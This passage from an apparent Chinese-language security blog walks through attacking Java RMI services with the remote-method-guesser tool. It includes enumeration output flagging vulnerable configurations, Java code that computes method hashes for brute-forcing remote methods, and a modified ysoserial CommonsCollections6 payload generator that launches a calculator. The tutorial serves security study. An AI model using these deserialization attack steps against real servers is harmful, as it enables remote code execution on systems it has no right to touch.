-api-3.1.jar;C:\Users\li.li\.m2\repository\org\slf4j\slf4j-api\1.7.21\slf4j-api-1.7.21.jar;C:\Users\li.li\.m2\repository\org\slf4j\slf4j-jdk14\1.7.21\slf4j-jdk14-1.7.21.jar;C:\Users\li.li\.m2\repository\org\clojure\clojure\1.8.0\clojure-1.8.0.jar;C:\Users\li.li\.m2\repository\com\vaadin\vaadin-server\7.7.14\vaadin-server-7.7.14.jar;C:\Users\li.li\.m2\repository\com\vaadin\vaadin-sass-compiler\0.9.13\vaadin-sass-compiler-0.9.13.jar;C:\Users\li.li\.m2\repository\org\w3c\css\sac\1.3\sac-1.3.jar;C:\Users\li.li\.m2\repository\com\vaadin\external\flute\flute\1.3.0.gg2\flute-1.3.0.gg2.jar;C:\Users\li.li\.m2\repository\com\vaadin\vaadin-shared\7.7.14\vaadin-shared-7.7.14.jar;C:\Users\li.li\.m2\repository\org\jsoup\jsoup\1.8.3\jsoup-1.8.3.jar;C:\Users\li.li\.m2\repository\org\aspectj\aspectjweaver\1.9.9\aspectjweaver-1.9.9.jar;C:\Users\li.li\.m2\repository\org\apache\click\click-nodeps\2.3.0\click-nodeps-2.3.0.jar;C:\Users\li.li\.m2\repository\ognl\ognl\2.6.9\ognl-2.6.9.jar;C:\Users\li.li\.m2\repository\org\apache\velocity\velocity\1.7\velocity-1.7.jar" de.qtc.rmg.Starter
[+] RMI registry bound names:
[+]
[+] - hello
[+] --> org.example.HelloService (unknown class)
[+] Endpoint: 192.168.139.1:12943 TLS: no ObjID: [47caa19a:188c243d0b5:-7fff, -1565237013414037735]
[+]
[+] RMI server codebase enumeration:
[+]
[+] - The remote server does not expose any codebases.
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] - Caught ClassNotFoundException during lookup call.
[+] --> The type java.lang.String is unmarshalled via readObject().
[+] Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] - Caught ClassCastException during lookup call.
[+] --> The server ignored the provided codebase (useCodebaseOnly=true).
[+] Configuration Status: Current Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] - Caught Exception containing 'no security manager' during RMI call.
[+] --> The server does not use a Security Manager.
[+] Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enumeration:
[+]
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] - Caught NoSuchObjectException during activate call (activator not present).
[+] Configuration Status: Current Default
Process finished with exit code 0
可以看到通过信息泄露获取到了服务器的远程方法接口hello,另外发现了几处漏洞。
guess:
获取到了方法接口就可以进行方法爆破,这里使用的字典是resources下的rmg.txt,这里我们可以添加方法,首先要生成接口hash,使用如下代码生成:
我们可以使用如下代码自己生成方法的hash值,代码来自rmi内部代码:
package org.example;
import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.lang.reflect.Method;
import java.security.DigestOutputStream;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
public class GetHash {
public static long computeMethodHash(Method method) {
long hash = 0L;
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(127);
try {
MessageDigest sha1 = MessageDigest.getInstance("SHA");
DataOutputStream dataOutputStream = new DataOutputStream(new DigestOutputStream(byteArrayOutputStream, sha1));
String methodNameAndDescriptor = getMethodNameAndDescriptor(method);
dataOutputStream.writeUTF(methodNameAndDescriptor);
dataOutputStream.flush();
byte[] hashArray = sha1.digest();
for(int i = 0; i < Math.min(8, hashArray.length); ++i) {
hash += (long)(hashArray[i] & 255) << i * 8;
}
} catch (IOException ignore) {
hash = -1L;
} catch (NoSuchAlgorithmException complain) {
throw new SecurityException(complain.getMessage());
}
return hash;
}
private static String getMethodNameAndDescriptor(Method var0) {
StringBuffer var1 = new StringBuffer(var0.getName());
var1.append('(');
Class[] var2 = var0.getParameterTypes();
for(int var3 = 0; var3 < var2.length; ++var3) {
var1.append(getTypeDescriptor(var2[var3]));
}
var1.append(')');
Class var4 = var0.getReturnType();
if (var4 == Void.TYPE) {
var1.append('V');
} else {
var1.append(getTypeDescriptor(var4));
}
return var1.toString();
}
private static String getTypeDescriptor(Class<?> var0) {
if (var0.isPrimitive()) {
if (var0 == Integer.TYPE) {
return "I";
} else if (var0 == Boolean.TYPE) {
return "Z";
} else if (var0 == Byte.TYPE) {
return "B";
} else if (var0 == Character.TYPE) {
return "C";
} else if (var0 == Short.TYPE) {
return "S";
} else if (var0 == Long.TYPE) {
return "J";
} else if (var0 == Float.TYPE) {
return "F";
} else if (var0 == Double.TYPE) {
return "D";
} else if (var0 == Void.TYPE) {
return "V";
} else {
throw new Error("unrecognized primitive type: " + var0);
}
} else {
return var0.isArray() ? var0.getName().replace('.', '/') : "L" + var0.getName().replace('.', '/') + ";";
}
}
}
调用代码:
public class Main {
public static void main(String[] args) throws Exception{
try {
Registry registry = LocateRegistry.getRegistry("192.168.139.1",8899);
HelloService helloService = (HelloService) registry.lookup("hello");
Class[] cArg = new Class[1];
cArg[0] = Object.class;
Class classhash = helloService.getClass();
Method method = classhash.getMethod("sayhello", cArg);
Long methodHash = computeMethodHash(method);
System.out.println(methodHash);
} catch (NotBoundException e) {
e.printStackTrace();
}
}
}
这里就可以生成方法的hash,可以用来替换:
在rmg.txt中添加:
然后使用rmg扫描,可以扫描出远程方法sayHello,用这种方法可以自己添加自定义的远程方法用于爆破扫描
serial(act,dgc,reg):
扫描成功后可以进行远程攻击,这里分别使用四种序列化攻击点,因为java版本,只有自定义的可以成功,但是当java版本符合时可以成功,攻击参数分别为act,dgc,reg。
这里需要调用ysoserial生成序列化数据,但是这里我需要使用自己的序列化数据怎么办,可以修改如下地方代码:
src\main\java\de\qtc\rmg\utils\YsoIntegration.java -> getPayloadObject
这里作为演示,我依旧是调用的ysoserial代码的CommonsCollections6方法,生成弹出计算器的序列化数据,返回一个Object 数据:
public static Object getPayloadObject(String gadget, String command){
Object ysoPayload = null;
try {
CommonsCollections6 CommonsCollections6 = new CommonsCollections6();
ysoPayload = CommonsCollections6.getObject("calc");
return ysoPayload;
}catch( Exception e){
Logger.printlnPlain(" failed.");
}
return ysoPayload;
}
执行rmg后可以看到报错,提示执行失败:
看下抓取的数据包,可以看到具体的序列化数据,其中reg对应的skel为2,验证的hash为44 15 4d c9 d4 e6 3b df,后面为我们的恶意序列化数据,数据发送没问题,看看到底为什么失败了:
过滤代码位于src\share\classes\sun\rmi\registry\RegistryImpl.java的registryFilter方法:
仅当方法为String.class Number.class Remote.class Proxy.class UnicastRef.class RMIClientSocketFactory.class RMIServerSocketFactory.class ActivationID.class UID.class仅当这八种方法的时候才能被反序列化执行,但是当jdk版本较低时可以成功;
serial(User defined RemoteObjects):
当我扫描出服务器远程方法后,可以使用用户定义的远程方法,这里没有对序列化数据进行校验,在上面我们将结果,当参数类型不是Object的时候可以采用调试的方式修改参数类型的方式来执行,其实本质上就是要为参数类型生成hash,这里rmi帮我们都做好了,直接调用就可以了:
打框的位置可以改成服务器的参数类型即可,上面介绍了很多,这里不再解释:
codebase:
远程寻找类加载的机制:Java RMI 支持一种称为代码库的功能,其中客户端和服务器可以在 RMI 调用期间指定可用于动态加载未知类的 URL。 如果 RMI 服务器接受客户机指定的代码库,那么当客户机在 RMI 通信期间提供恶意 Java 类时,这可能会导致远程代码执行。
但是这个功能对权限要求较高,需要符合以下两点要求:
安装并配置了SecurityManager
设置了 java.rmi.server.useCodebaseOnly=false 或者Java版本低于7u21、6u45(此时该值默认为false)
具体的实现在另一篇讲解JNDI注入里再讲解。
后记:
最后做个总结,利用RMI可以对服务器和客户端进行双向的攻击,因为通信采用序列化,当反序列化的时候可能会被攻击,在实际的攻击场景中,如果有服务器对外开放了RMI远程接口,那我们可以使用rmg工具通过信息泄露得到服务器的远程对象,并使用enum探查可能存在的漏洞,然后就可以使用guess对远程方法进行爆破,如果成功碰撞出方法,则可以使用爆破出来的方法对服务器发送恶意的序列化数据,如果没爆破出来,那就尝试使用act,dgc,reg三种类型对服务器进行攻击,如果服务器版本较低,则有可能攻击成功。
知道原理我们可以更好的使用工具,知道原理后使用rmg更加事半功倍,另外就是远程加载了,这个一般多出现在JNDI注入中,服务端和客户端的攻击都有可能,所以这个单独拿出来研究下。
版权归原作者 GalaxySpaceX 所有, 如有侵权,请联系我们删除。